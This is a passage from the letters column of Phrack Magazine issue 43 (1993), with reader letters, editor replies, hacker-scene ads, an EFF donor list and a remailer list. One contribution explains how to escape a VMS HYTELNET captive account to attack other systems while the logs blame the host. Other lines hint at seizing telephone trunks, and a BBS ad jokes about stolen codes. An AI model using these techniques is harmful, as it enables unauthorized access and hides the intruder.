and sure Erik Bloodaxe. And also - IF after E911 incident you are more
carefully, feel free to replace "stole" to "got" (when you'll post it), and
do not forget to add "reprinted with permission".
- Sincerely, anonymous.
----------------------------------------------------------------------
[Editor: More indications that we will all be raided by the DEA
more often than the FBI in coming years.]
*****************************************************************************
"Since my probation status forces me to be adamant about this. Illegal
activities on Netsys cannot and will not be tolerated. Prison sucked."
- Len Rose
06/6/93
NETSYS COMMUNICATION SERVICES Palo Alto, California
Netsys is a network of large Sun servers dedicated to providing
Internet access to individuals and corporations that need solid,
reliable Internet connectivity. Netsys is at the hub of major
Internet connectivity.
Netsys is a system for professionals in both the Internet and Unix
community. The public image is important to us. Illegal activities
cannot be tolerated.
Netsys has every feature you could possibly need.
Netsys is lightly loaded, extremely reliable and dedicated to providing
full time 24 hour Internet access.
Support: 24 hour emergency response service.
Dialups: Palo Alto area, High Speed (V.32 and PEP)
Private Accounts: $20 monthly ( with file storage capacity of 5 megabytes)
$1 per megabyte per month over 5 megabytes.
Commercial Accounts: $40 monthly (file storage capacity of 10 megabytes)
$1 per megabyte per month over 10 megabytes.
Newsfeeds: We offer both nntp and uucp based newsfeeds , with all domestic
newsgroups, and including all foreign newsgroups.
SPECIAL FEATURES THAT NO ONE ELSE CAN PROVIDE
Satellite Weather: Netsys has available real time satellite weather
imagery. Images are available in gif, or Sun raster
format. Contact us for NFS mirroring, and other special
arrangement. These images are directly downlinked from
the GOES bird. Contact Steve Eigsti (steve@netsys.com)
Satellite Usenet: Netsys is offering Pagesat's satellite newsfeed service
for large volume news distribution. Members of Netsys
can obtain substantial discounts for the purchase and
service costs of this revolutionary method of Usenet news
distribution. Both Unix and MS Windows software available.
Contact (pagesat@pagesat.com) for product information.
Paging Services: Netsys is offering Pagesat's Internet to Pager mail service.
Members of Netsys can obtain critical email to pager
services. Pagesat has the ability to gateway any critical
electronic mail to your display pager.
Leased Line Internet Connections
Pagesat Inc. offers low cost 56k and T1 Internet connections all over the
United States. Since Pagesat is an FCC common carrier, our savings on
leased lines can be passed on to you. For further information, contact
Duane Dubay (djd@pagesat.com).
We offer other services such as creating domains, acting as MX
forwarders, and of course uucp based newsfeeds.
Netsys is now offering completely open shell access to Internet users.
For accounts, or more information , send mail to netsys@netsys.com
Netsys will NEVER accept more members than our capacity to serve.
Netsys prides itself on it's excellent connectivity (including multiple T1's,
and SMDS), lightly loaded systems, and it's clientele.
We're not your average Internet Service Provider. And it shows.
--------------------------------------------------------------------
[Editor: We here at Phrack are forever in debt to Mr. Len Rose for
allowing us to use ftp.netsys.com as our new official FTP
site after getting the boot off EFF. It takes a steel
set of huevos to let such an evil hacker publication
reside on your hard drive after serving time for having
dealings with evil hackers. We are STOKED! Thanks Len!
Netsys is not your average site, INDEED!]
****************************************************************************
Something Phrack might like to see:
The contributors to and practices of the Electronic Frontier Foundation
disclose quite accurately, just who this organization represents. We
challenge the legitimacy of the claim that this is a "public interest"
advocate. Here is a copy of their list of contributors:
[FINS requested the Office of the Attorney General of the Commonwealth of
Massachusetts to provide us with a list of contributors of over $5000, to
the Electronic Frontier Foundation, required by IRS Form 990. Timothy E.
Dowd, of the Division of Public Charities, provided us with a list (dated
January 21, 1993), containing the following information. No response was
given to a phone request by FINS directly to EFF, for permission to inspect
and copy the most current IRS Form 990 information.]
ELECTRONIC FRONTIER FOUNDATION, INC.
IRS FORM 990. PART I - LIST OF CONTRIBUTIONS
NAME AND ADDRESS OF CONTRIBUTOR CONTRIBUTION
DATE AMOUNT
Kapor Family Foundation
C/O Kapor Enterprises, Inc.
155 2nd Street
Cambridge, MA 02141 Var 100,000
Mitchell D. Kapor
450 Warren Street
Brookline, MA 02146 Var 324,000
Andrew Hertzfeld
370 Channing Avenue
Palo Alto, CA 94301 12/12/91 5,000
Dunn & Bradstreet
C/O Michael F. ...
1001 G Street, NW Suite 300 East
Washington, DC 20001 02/12/92 10,000
National Cable Television
1724 Massachusetts Avenue, NW
Washington, DC 20036 02/18/92 25,000
MCI Communications Corporation
1133 19th Street, NW
Washington, DC 20036 03/11/92 15,000
American Newspaper Publishers
Association
The Newspaper CTR
11600 Sunrise Valley
Reston, VA 22091 03/23/92 20,000
Apple Computer
20525 Mariani Avenue MS:75-61
Cupertino, CA 95014 03/23/92 50,000
Sun Microsystems, Inc
c/o Wayne Rosing
2550 Garcia Ave
Mountain View, CA 94043-1100 04/03/92 50,000
Adobe Systems, Inc.
c/o William Spaller
1585 Charlestown Road
Mountain View, CA 94039-7900 04/16/92 10,000
International Business Systems
c/o Robert Carbert, Rte 100
Somers, NY 10589 05/07/92 50,000
Prodigy Services Company
c/o G. Pera...
445 Hamilton Avenue
White Plains, NY 10601 05/07/92 10,000
Electronic Mail Associates
1555 Wilson Blvd. Suite 300
Arlington, VA 22209 05/13/92 10,000
Microsoft
c/o William H. Neukom
1 Microsoft Way
Redmond, VA 98052 06/25/92 50,000
David Winer
933 Hermosa Way
Menio Park, CA 94025 01/02/92 5,000
Ed Venture Holdings
c/o Ester Dvson
375 Park Avenue
New York, NY 10152 03/23/92 15,000
Anonymous 12/26/91 10,000
Bauman Fund
c/o Patricia Bauman
1731 Connecticut Avenue
Washington, DC 20009-1146 04/16/92 2,500
Capital Cities ABA
c/o Mark MacCarthy
2445 N. Street, NW Suite 48
Washington, DC 20037 05/04/92 1,000
John Gilmore
210 Clayton Street
San Francisco, CA 94117 07/23/91 1,488
08/06/91 100,000
Government Technology 10/08/91 1,000
Miscellaneous 04/03/91 120
Apple Writers Grant
c/o Apple Computer
20525 Mariani Avenue 01/10/92 15,000
[Editor: Well, hmmm. Tell you guys what: Send Phrack that
much money and we will give up our ideals and move to
a new location, and forget everything about what we
were all about in the beginning. In fact, we will turn
our backs on it. Fair?
I was talking about me moving to Europe and giving
up computers. Don't read anything else into that. Nope.]
****************************************************************************
-----BEGIN PGP SIGNED MESSAGE-----
Q1: What cypherpunk remailers exist?
A1:
1: hh@pmantis.berkeley.edu
2: hh@cicada.berkeley.edu
3: hh@soda.berkeley.edu
4: nowhere@bsu-cs.bsu.edu
5: remail@tamsun.tamu.edu
6: remail@tamaix.tamu.edu
7: ebrandt@jarthur.claremont.edu
8: hal@alumni.caltech.edu
9: remailer@rebma.mn.org
10: elee7h5@rosebud.ee.uh.edu
11: phantom@mead.u.washington.edu
12: hfinney@shell.portal.com
13: remailer@utter.dis.org
14: 00x@uclink.berkeley.edu
15: remail@extropia.wimsey.com
NOTES:
#1-#6 remail only, no encryption of headers
#7-#12 support encrypted headers
#15 special - header and message must be encrypted together
#9,#13,#15 introduce larger than average delay (not direct connect)
#14 public key not yet released
#9,#13,#15 running on privately owned machines
======================================================================
Q2: What help is available?
A2:
Check out the pub/cypherpunks directory at soda.berkeley.edu
(128.32.149.19). Instructions on how to use the remailers are in the
remailer directory, along with some unix scripts and dos batch files.
Mail to me (elee9sf@menudo.uh.edu) for further help and/or questions.
======================================================================
-----BEGIN PGP SIGNATURE-----
Version: 2.2
iQCVAgUBLAulOYOA7OpLWtYzAQHLfQP/XDSipOUPctZnqjjTq7+665MWgysE1ex9
lh3Umzk2Q647KyqhoCo8f7nVrieAZxK0HjRFrRQnQCwjTSQrve2eAQ1A5PmJjyiI
Y55E3YIXYmKrQekIHUKaMyATfnhNc6+2MT8mwaWz2kiOTRkun/SlNI3Cv3Qt8Emy
Y6Zv0kk/7rs=
=simY
-----END PGP SIGNATURE-----
[Editor: We suggest that everyone go ahead and get the info file from
soda.berkeley.edu's ftp site. While you are there,
take a look around. Lots of groovy free stuff.]
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 3 of 27
Phrack Loopback
Part II
======================================================================
ToneLoc T-Shirt Offer
======================================================================
Yes, the rumors are true: A ToneLoc t-shirt is at last available.
The shirt is an extra large, 100% cotton Hanes Beefy-T, silk screened
with four colors on front and eight colors on back.
The front features an "anti-bell" logo, with your favorite corporate
symbol in blue under a slashed circle in red. The ToneLoc logo appears
above, with an appropriate quote below.
The back has six Tonemaps, visual representations of exchange scans,
contributed by ToneLoc'ers from around the globe. The exchange and
scanner's handle is printed below each Tonemap. The handles of the beta
testing team are listed below the maps.
If you act now, a free copy of the latest release of ToneLoc will be
included with your order! Please specify 3.5" or 5.25" disks.
$15 postpaid; add $5 for international orders.
Make your check or money order payable to "ToneLoc Shirt."
Send to:
ToneLoc Shirt
12407 Mopac Expwy N #100-264
Austin, TX 78758
Voice Mail (24 hours): 512-314-5460
- Mucho Maas
- Minor Threat
[Editor: I have one of these. The only hacker program immortalized in
cotton. Nifty!]
******************************************************************************
The return of a telecom legend...
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&& &&&&&&& &&&&& &&&&&&&&&&& &&&&&&&&& &&&&&&&&&&&&&& &&&&&&&&
&& &&&&& &&&&&&&&& &&&&& &&&&& && &&&&&&&& &&&&&&&&&&&&& &&&&&&&
&& &&& &&&&&&&&& &&&& &&&& && &&&&&&& && &&&&&&&& && & &&&&&&
&& & & & &&&&&&&&& &&& & &&& && &&&&&&& && &&&&&&&& && && &&&&&
&& && && && && && &&& && && &&&&&&& && &&&&&&&& && &&& &&&&
&& &&& &&& && &&&&& && &&& && && &&&&&&& && && &&&&& && &&&& &&&
&& &&&&&&& && &&&&& && &&& && && &&&&&&& && && &&&& && &&&&& &&
&& &&&&&&& && &&&&& && && && &&&&&&& && && &&& && &&&&& &&
&& &&&&&&& && &&&&&&&&& &&& && && &&&&&&& && && && && &&&& &&&
&& &&&&&&& && &&&&&&&&& &&& && && && && & & && &&& &&&&
&& &&&&&&& && &&&&&&& &&& && &&&&&&&&&&& && && && && && &&&&&
&& &&&&&&& && &&&&&&&&& &&& && &&&&&&&&&&& && && &&& && & &&&&&&
&& &&&&&&& && &&&&&&&&&&&&&&& &&&&&&&&&&& && &&&&&&&& && &&&&&&&
&& &&&&&&& &&&&&&&&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&&&& && &&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
S O U T H W E S T
A Neon Knights/Metal Communications Experience
cDc
_ _
((___))
[ x x ]
cDc \ / cDc
(' ')
(U)
'..and none but the Bovine survived the onslaught'
-cDc- CULT OF THE DEAD COW -cDc-
cDc communications
-cDc- D0PE SYSTEM -cDc-
---------------------------
Very K-Rad
713-468-5802
No Lame Ratios
Running Baphomet
Sysd00d : Drunkfux
86,400 Seconds A Day
OoOOooOdlez o' T-Files
The Official HoHoCon BBS
New Pimping Tips Every Day
Tonz o' Nifty Ascii Pictures
Talk To Satan Himself.. Live!!
Free 5-Digit Metro K0DEZ For All
d0Pe Gifs Of Gail Thackeray Online
Read Hate Filled Nazi Skinhead Poemz
Home Of K-RAP : The K-Rad Ascii Possee
Learn How To Make Money! Just Ask Byron!
Necropheliacs & Kidporn Kollekt0rz Welcome
Y0 Y0 Y0 Lonely D00dz! We gotz girlie uzerz!
Lots Of Message Bases With Really K-KeWL Names
Is This Whole "Volcano Ad" Thing Stupid Or What?
GNU Warez From The Future! We Have A Time Machine!
I Think We Have One Of Those Big, EL8 Drive Thingies
No Net Access? Submit Your cDc & Phrack Articles Here!
The Only System Authorized By The Debbie Gibson Fan Club
The Neon Knights Did NOT Die, We Just Went Way Underground
This Thing Is Starting To Look Like That Album St0nerzz Like
Mega KooL Games Like Lemonade Stand And Hunt The Wumpus Deluxe
Hey! It's The Mashed Potato Mountain Thing From Close Encounters
Users Include Lots Of Elite Peoplez You See On Shows Like Dateline
That Really Trendy Super High Speed Modem All Those Warez DooDz Have
cDc / CuD / dFx / Neon Knights / NIA / Phrack / uXu / Video Vindicator
Telco / Systems / Networks / Security / Cellular / Satan / Death / K0DEZ
***************************************************************************
Hi there!
As a beginner in Cyberspace & a new reader of Phrack, I just wanna say thiz...
IT'S X-CELLENT DUDES!!!!!.
Keep the good work!!!!!.
I only have your latest issue, and I never read previous ones, so this
is maybe old stuff... but I would like to see the Infonet network and
Datapac covered in some of UR articles... let me know if u published something
in recent issues.
Greetings from South America,
LawEnforcer.
(yes, it's an Alias!!!)
[Editor: Well, InfoNet we've never done. Any takers? Datapac I
personally scanned some time ago, but almost ALL of the
100K of NUA's I found still work. Maybe someone should
take my script and re-scan it. Anyone? Class? Bueler?]
****************************************************************************
begin contribution-------------------------------
VMS machines that have captive accounts often have accounts such as HYTELNET.
This is an account which will archie for you, or take you to a few select BBSs
or any of many boring things to do. You simply log in as HYTELNET, there isn't
a password, and go through the menus. Now, that's where the fun begins. If
you use HYTELNET to telnet anywhere, while it is connecting, simply type your
local telnet escape key (something like ^\ or ^]) and then........you have a
telnet prompt. Unfortunately, if you close or disconnect, it will return to
the HYTELNET menus, and you can't open a new connection, since you're already
connected. So, what you do is SPAWN whatever process you want.....you could
SPAWN TELNET or SPAWN FTP or SPAWN anything else for that matter. SPAWN with
no arguments (the shell escape) does not work, however. This works from any
captive account that telnets. So, you can telnet to a VAX that has HYTELNET,
log in as HYTELNET, do what I told you, and then hack to wherever, since the
reports from the target site will show that HYTELNET@insert.vax.site committed
the heinous crimes that you did.
Kaneda
end contribution--------------------------------
[Editor: Kaneda: thanks for that tidbit. Now I'm sure to get grief
on IRC from someone coming from an odd site. :)
Give my regards to Tetsuo. "But some day...we will be"]
****************************************************************************
_ _
((___))
[ x x ] cDc communications
\ / Global Domination Update
(' ') #12 - April 1st, 1993
(U)
Est. 1986
New gNu NEW gnU new GnU nEW gNu neW gnu nEw releases for April, 1993:
_________________________________/Text Files\_________________________________
221: "Sickness" by Franken Gibe. Paralyzed by thoughts. Rage! Fight! Dark!
222: "A Day in the Life of Debbie G1bs0n" by The Madwoman. The pop idol faces
her arch enemy on the fields of ninja combat and in the arms of love.
223: "The B!G Envelope Stuffing Scam" by Hanover Fiste. How to get money.
Make Sally Struthers proud of you.
224: "The Bird" by Obscure Images. Story 'bout a sad guy who laughs at birds.
It's depressing. Oi's a kooky guy.
225: "Tequila Willy's Position Paper" by Reid Fleming and Omega. Unknown to
most, Tequila Willy thew his hat in the ring for the 1992 presidential
election. Here's the paper detailing his positions on all the important
issues. Better luck in '96, eh?
226: "Simple Cryptology" by Dave Ferret. Introductory guide to cryptology
which also includes a good list of other sources to look into.
227: "Big Ol' Heaping Pile of Shit" by Suicidal Maniac. Buncha poems about
lots of things. Wacky.
228: "ISDN: Fucking the Vacuum Cleaner Attachments" by Reid Fleming. Intended
for _Mondo 2000_, this file drops science about everyone's favorite future
phone system.
229: "The Evil Truth About Peter Pan" by Lady Carolin. It's a whole mess of
things you and your puny little mind might not have noticed about this popular
kiddie (hah!) story.
230: "The 2:00 O'Clock Bus" by Tequila Willy and Bambi the Usurper. Geriatric
porn with some doggy flavor.
_____________________________/Other Stuff to Get\_____________________________
From: cDc communications/P.O. Box 53011/Lubbock, TX 79453
This is Swamp Ratte's stuff:
All the cDc t-files on disk by mail, for convenience sake! Specify
MS-DOS or Apple II format 3.5" disks. $3.00 cash.
cDc stickers! Same design as were flying around at HoHoCon, with the
scary-lookin' cow skull. k00l. Send a SASE and 50 cents for a dozen of
'em (or just send a dollar).
Weasel-MX tape! _Obvious_ 45-minute cassette. This is Swamp Ratte's
funk/punk-rock/hip-hop band. It's a mess, but fun. $3.00 cash.
cDc hat! Yeah, get yer very own stylin' black baseball cap embroidered
with the cDc file-header-type logo on the front in white. This isn't the
foam-and-mesh cheap kind of hat; it's a "6-panel" (the hat industry term)
quality deal. Roll hard with the phat cDc gear. $15.00 plus a buck for
postage.
_Swingin' Muzak_ compilation tape! An hour of rockin' tuneage from
Weasel-MX (all new for '93), Counter Culture, Acid Mirror, Truth or
Consequences, Grandma's V.D., and Sekrut Squirrel. Lotsa good, catchy,
energetic stuff for only $5.00 cash.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: FNORD! Publications/2660 Trojan Dr. #912/Green Bay, Wisconsin 54304-1235
This is Obscure Images' stuff:
FNORD! 'zine #1 & #4 - $2.00 Each
Shoggoth 912 #1 - $0.75
For some snarly techno grooves, send away for the new tape from Green
Bay's finest (and only) technorave sensation, I OPENING! IO-Illumination
Demo Tape (7 songs of joy) - $5.00
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: Freeside Orbital Data Network/ATTN:dFx-HoHoCon-cDc/11504 Hughes Road #124
Houston, TX 77089
This is Drunkfux's stuff:
HoHoCon '92 T-Shirts : Black : XL : Elite : Stylish : Dope : Slammin'
Only $15 + $2 shipping ($2.50 for two shirts).
Your choice of either "I LOVE FEDS" or "I LOVE WAREZ" on front, where
"LOVE" is actually a red heart, ala "I LOVE N.Y." or "I LOVE SPAM."
On the back of every beautimus shirt is...
dFx & cDc Present
HOHOCON '92
December 18-20
Allen Park Inn
Houston, Texas
HoHoCon '92 VHS Video : 6 Hours : Hilariously Elite : $18 + $2 Shipping
Please make all checks payable to O.I.S. Free cDc sticker with every
order! w0w!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: Bill's Shirt Thing/P.O. Box 53832/Lubbock, TX/79453
This is Franken Gibe's stuff:
AIDS sucks! Order a catalog! Nifty t-shirts that make you happy.
Proceeds go to local AIDS Resource Center. Send a $0.29 stamp for the
cat'.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: Teach Me Violence magazine/61 East 8th St./Suite 202/New York, NY 10003
This is The Pusher's stuff:
Teach Me Violence 'zine:
Issue #1 (Mr. Bungle, COC, Murphy's Law)
Issue #2 (Helmet, Supertouch, Agnostic Front, American Standard)
Issue #3 (Faith No More, Chris Haskett, Cathedral, Iceburn, Venom)
$3.00 cash each
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
From: A Day In The Life Of.../P.O. Box 94221/Seattle, WA 98124
This is Lady Carolin's stuff:
A Day In The Life Of... 'zine, free with two stamps.
Bi-monthly contact list of girlie bands/grrrl bands/female vocalists. $1.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
__________________________________/cDc Gnuz\__________________________________
"cDc: savin' trees in '93"
Hiya once again, here's whassup:
NEW Internet FTP site: zero.cypher.com. This is Drunkfux and Louis Cypher's
chilly-the-most deal. Login as "anonymous" and get all the cDc stuph fast fast
fast.
NEW cDc Mailing list: Get on the ever-dope and slamagnifiterrific cDc mailing
list! Send mail to cDc@cypher.com and include some wonderlessly elite message
along the lines of, "ADD ME 2 DA MAILIN LIZT!!@&!"
NEW Official cDc Global Domination Factory Direct Outlets:
Cyberspace.Nexus +31-67-879307 [Belgium]
Mirrorshades BBS 903/668-1777
The Ministry of Knowledge 401/043-3446
The Crowbar Hotel 713/373-4031
We're always taking t-file submissions, so if you've got a file and want to
really get it out there, there's no better way than with cDc. Upload text to
The Polka AE, or my Internet address, or send disks or hardcopy to the cDc post
office box in Lubbock, TX.
NEW updated CDCKC0W.TXT file. All the information for sysops to get going
running Factory Direct Outlets. It should be available from wherever you got
this Update.
NEW CDCV9.ZIP is out containing cDc t-files 201-225. Factory Direct Outlet
sysops should get this and put it up on their systems.
See ya in May.
S. Ratte'
cDc/Editor and P|-|Ear13zz |_3@DeRrr
"We're into t-files for the girlies and money."
Write to: cDc communications, P.O. Box 53011, Lubbock, TX 79453.
Internet: sratte@cypher.com, sratte@mindvox.phantom.com.
[Editor: Whew. Any word on those cDc Glow in The Dark Toilet
Seat Covers? I've got my 29.95 ready!]
****************************************************************************
Hey there a few of us use this account and wuld like to get phrack
sent to us here if at all possible... :)
We are all Australians and all read your magazine to death..
a friend of mine runs a board called shred til ya ded which is basically
a hpac and warez assortment... nothing 0 day but definately good for hacking
info... we are in the middle of getting all of your mags online at the moment
you mentioned in phrack 42 that you would like people from other countries
to write pieces about the scene there... well depending on the kind of thing
you want i would be more than happy to give it a go with some mates
thanks
Darkstar
[Editor: Darkstar and anyone else--send me your files about your
scenes in other countries. Nearly everyone who promised me
a file about their country flaked out. You'll see who did
send me a file later in this issue. Other countries: get
off your duffs and send me a file! We want to know what
goes on there! Boards, Busts, History, Hackers, Hangouts,
Groups, Greats, Legends, Lore, EVERYTHING!]
***************************************************************************
I remember seeing a message somewhere on the WELL saying an issue of
Phrack carried listings of Viruses. Could you tell me which one(s)?
Also, do you know of any sites which have virus listings archived ?
Thanks,
Jon Barber
[Editor: Well, John, Phrack doesn't carry virii info. You might
check around for 40hex. Personally, I think virii
are vastly overrated hype driven onward by McAffee
and other self-serving interests. That is why we
ignore them. (That is also why I don't mention them
when I lecture on computer security...they are no
big thing.)]
****************************************************************************
Ok,
So I was reading Phrack 42's listing for SprintNET nodes... But there was
no information on how to access it..
What are the ACNS For the Sprintnet? Is there a Phrack out that details
use of the SprintNET..
Would appreciate ANY and ALL, as I've never heard of it being used widely
like the Internet, and would like to know how to use it..
Jack Flash...
[Editor: Jack...you kids are spoiled. You and your Internet. Hrumph.
Remember when Arpanet was like a 20 or so Universities and
Contractors, and tied to about 100 bases thru Milnet? No?
Sheesh.
To answer your question, Sprintnet (used to be Telenet, and
always will be to me) is a public packet switched network.
It can be accessed in nearly EVERY city in the USA, and in
many large cities in other countries.
The Toll-Free dialups are: 300-2400: 800-546-1000
9600 v.32: 800-546-2500
At the TERMINAL= prompt, type D1. Then to find a local
dialup, at the @ prompt type MAIL. Login as username
PHONES password PHONES.]
*****************************************************************************
RE: Loop-Back
I was wondering if it would be possible for you to do something on Novell LAN
security, as we have one at my high school. I was also wondering about
bluebox tones...in my area, if you call into the next county, sometimes you
hear what sounds like bluebox tones. I had thought these lines were digital,
and therefore, would not require tones of any type.. any ideas?
RF Burns
[Editor: As for the Novell...check later in this issue.
As for the MF tones...when calls go from one area to another
it is quite common to hear multi-frequency tones. Depending
upon the way the call is routed, your particular pick of LD
carrier and the equipment between you and the destination,
you may hear these tones. You may even be one of the lucky
ones, and be able to seize a trunk. Using certain LD carriers
you can still box, but usually you are stuck with a trunk that
can't get out of the area. Alas.]
*****************************************************************************
Hi -
I'm a student in the MLS program here at SUNY Albany. I
found out about Phrack while researching a paper for my public policy class,
on the ECPA and shit.
Well, I gave a fabulous 45-minute presentation on it all and then wrote
an even better paper for which I was rewarded with an A as well as an A
for the class. Turns out John Perry Barlow and Mitch Kapor are heroes of
my professor as well.
So now I'm hooked. For my thesis I'm writing a user manual for librarians
on the Internet and helping teach a class in telecommunications.
Just wanted to let you phrack-types know you're my heroes and I want to be
a member of the phrack phamily. Can't send any money, though. *:(
Keep the faith,
hopey t
[Editor: That's really great! Usually profs are terribly anal about
anything regarding Phrack and/or hacking. You are very
lucky to have had such an instructor. Congrats on the
class and good luck with your thesis!]
****************************************************************************
Hi!
I was just glancing through Phrack #42, and read the portion
that sez that all computer professionals (essentially) have to
delete this and even old copies of Phrack.
Coupla questions: I'm a Network Administrator for a University,
do I have to comply? It's not like I am a thug from Bellcore or
anything like that. Although one of the things I am concerned with,
professionally, is the security of our systems, I am no Cliff Stoll.
If I were to catch an unauthorized visitor, I would give him the boot,
not chase him down with prosecution in mind.
I have, of course, deleted all my old Phracks as well as #42,
but I would like to be able to re-snarf them. Let me know...
Thanks!
Dan Marner
[Editor: Well, Dan, technically Phrack could quite possibly
be beneficial to you and assist you with your career, and
this is the typical scenario in which we request that you
register your subscription and pay the registration fee.
Of course, we don't have the SS as our own personal
thugs to go break your legs if you don't comply. :)
You might at least try to get your employer to pay for
the subscription.
As far as issues prior to 42 go, KEEP THEM! They are
exempt from anything, and are arguably public domain.]
*****************************************************************************
Hey,
I need to get in touch with some Macintosh phreakers. Know any?
Anyway, are there any good war dialers or scanners out there for
Macintosh? I need something that picks up PBXs and VMBs as well as
Carriers.
Thanx in advance...
[Editor: I personally avoid the little toadstools like the plague,
and I was unable to get a hold of the only hacker I know who
uses one. If anyone out there on the net could email us
with the scoop on Mac hacking/phreaking utilities it would
be most appreciated.]
*****************************************************************************
Hello! I was just wondering if you knew of any FidoNet site that carries
back issues of phrack. The main reason behind this, as my link through the
Internet is basically through a FidoNet-type network and I am unable to ftp
files. Any help would be appreciated!
Thanks!
Jason K
[Editor: Phrack pops up everywhere. I would be very surprised if
it wasn't on a ton of fido sites. However, I have no idea
of what those sites may be. If anyone knows of any,
let us know!]
****************************************************************************
Can you give me the email address for the 2600 Magazine or
whomever the person in charge.
I've no idea how to contact them, so that's why I'm asking you.
I'm much obliged.
Thanks,
MJS
[Editor: 2600 magazine can be reached at 2600@well.sf.ca.us
To subscribe send $21 to 2600 Subscriptions, P.O. Box 752,
Middle Island, NY, 11953-0752.
To submit articles write to 2600 Editorial Dept., P.O. Box 99,
Middle Island, NY, 11953-0099.
Note: If you are submitting articles to 2600 and to us,
please have the courtesy of LETTING BOTH MAGAZINES KNOW
IN ADVANCE. Ahem.]
****************************************************************************
Do you know if there has been a set date and place for the next HoHoCon?
Best Regards,
Mayon
[Editor: Actually, it's looking more and more like HoHoCon will
be December 17, 18, 19 in Austin, TX. It may still
be in Houston, but methinks the Big H has had about enough
of dFx. We'll let you know when we know for sure.]
****************************************************************************
Reporter for major metro paper is interested in help finding out anything
there is to find on four prominent people who have volunteered to have their
privacy breached.
Financial fundamentals. Lives of crime. Aches and pains. How rich they are,
where they vacation, who they socialize with. You name it, we're interested in
seeing if it's out there.
All for a good cause.
If you're willing to advise this computer-ignorant reporter, or dig in and
get the dope on these volunteers, please contact him at tye@nws.globe.com
Or call at 617-929-3342.
Help especially appreciated from anyone in the BOSTON area.
Soon.
Thanks.
[Editor: Interesting. This showed up in my box in late June, so it should
still be going. I would recommend watching yourselves in any
dealings with journalists. Take it form one who has been
burned by the press. (And who has a journalism degree himself.)]
****************************************************************************
Hey there...
I don't know if this will get to Dispater or to the new editor. Since the
change in editorship, the proper way to contact Phrack has become sort of a
mystery. (The new address wasn't included in Phrack 31.)
Anyway, I'm writing to bitch about the quality of #31. I've got two main beefs:
1. The article about fake-mail was GREAT until it turned into a "how-to"
primer on using the info given to cause damage. That is exactly the
kind of thing that will end up getting you sued. I have some legal
background, and I'm pretty sure that the author of that article and
possibly even Phrack itself and its editors are now open to a damn
good argument for tortuous negligence if anyone follows the instructions
and damages someone on Compuserve, etc.
The argument will go something like, "Phrack set into motion a chain of
events that led to my client being damaged." You guys should have
just given the info, and left off the moronic ways to abuse it.
2. The article on "Mall Security Frequencies" was copied directly from
Popular Communications, Nov. 1992 issue. Hell, that was even their
cover story. Can we say "copyright enfringement?" If not, I'm sure
you'll be _hearing_ it a few more times. If I was still practicing,
I'd call 'em up and ask their permission to sue on contingency.
Split the damages obtained on a motion for summary judgment 50/50 with
them. It would only take a week and one filed complaint...
Point is, you have opened yourselves up to get sued and lose EASILY.
As much as I've enjoyed reading Phrack over the years, if this new
staff continues in this manner, I'll be stuck with back-issues.
Cyber (305)
-------------------------------------------------------------------------
To find out more about the anon service, send mail to help@anon.penet.fi.
Due to the double-blind system, any replies to this message will be anonymized,
and an anonymous id will be allocated automatically. You have been warned.
Please report any problems, inappropriate use etc. to admin@anon.penet.fi.
*IMPORTANT server security update*, mail to update@anon.penet.fi for details.
[Editor: I think you meant 41, not 31. But to answer your points:
1) As long as there is a first amendment, Phrack will
continue to print articles that some may or may not
agree with. Printing the blueprints for an atomic bomb
does not make you an accomplice to those who build it
and detonate it.
2) Numbers are numbers. Can we even spell "copyright
infringement?" If you were still "practicing..."
We at Phrack wholeheartedly encourage you to again pick
it up, and keep practicing and practicing until you
get whatever it is you were practicing down pat.
Obviously it must have been guitar, and not law.
Such a litigious society we live in. Suing Phrack would
accomplish nothing. It would not even hinder its
publication. Since Phrack has no money, nothing would
be gained. Even if fined, Phrack could not be forced to
sell its computer equipment to pay fines, since this would
be removing the livelihood of the publisher, thus it would
continue its quarterly publication. Where on Earth did
you get such ideas? You obviously know nothing about
lawsuits. Any lawyer would laugh at the thought of suing
Phrack since it would gain nothing financially, and provide
such a huge amount of bad publicity that even if a judgement
were reached in their behalf it would not be worth it.
Oh wait, you were a lawyer. Now I know why the past tense.
But you are correct on one point: we cannot print
copyrighted material without permission. You may have
noted that last issue (among other changes) Phrack
no longer includes full text of news items without
prior permission from the publisher. That was the
ONLY thing that worried me about publishing Phrack, and
so I changed it.
We at Phrack welcome constructive criticism, but at least
have the nerve to email directly, rather than hide behind
an anonymous remailer. That way, someone could have
responded to you in a more direct and expeditious manner.]
****************************************************************************
Dear Sir/Madam,
I am a student at ukc in England and wish to subscribe to Phrack receiving
it as email at the following address ks16@ukc.ac.uk thank you and keep up the
good work.
We use unix and I would be interested in getting a copy of su (switch user)
which looks for the user file passwd.su in the users home directory. I don't
know much about unix, but I do know it would need to run from my home directory
and access the kernel.
Many thanks for any help you may be able to give.
S
[Editor: Its "SIR" hehe. Sir Bloodaxe. In any case, if anyone would
care to draft up this modification to su and send it in
I'll print it in the next issue's line noise.]
****************************************************************************
I had some beef with Rack's article in PHRACK 42. I've attached a
writeup of comments; you're welcome to a) forward it to him, b)
shitcan it, or c) publish it.
thx,
-Paul
My background: I've been into the scene for about 12 years. My day job
is writing unix s/w for a NASA contractor. My night job... well, never
mind that. I have a strong amateur interest in crypto, and I'd like to
share some of what people in the usenet/Internet community have been
kind enough to teach me.
Racketeer sez:
> If you think that the world of the Hackers is deeply shrouded with
>extreme prejudice, I bet you can't wait to talk with crypto-analysts. These
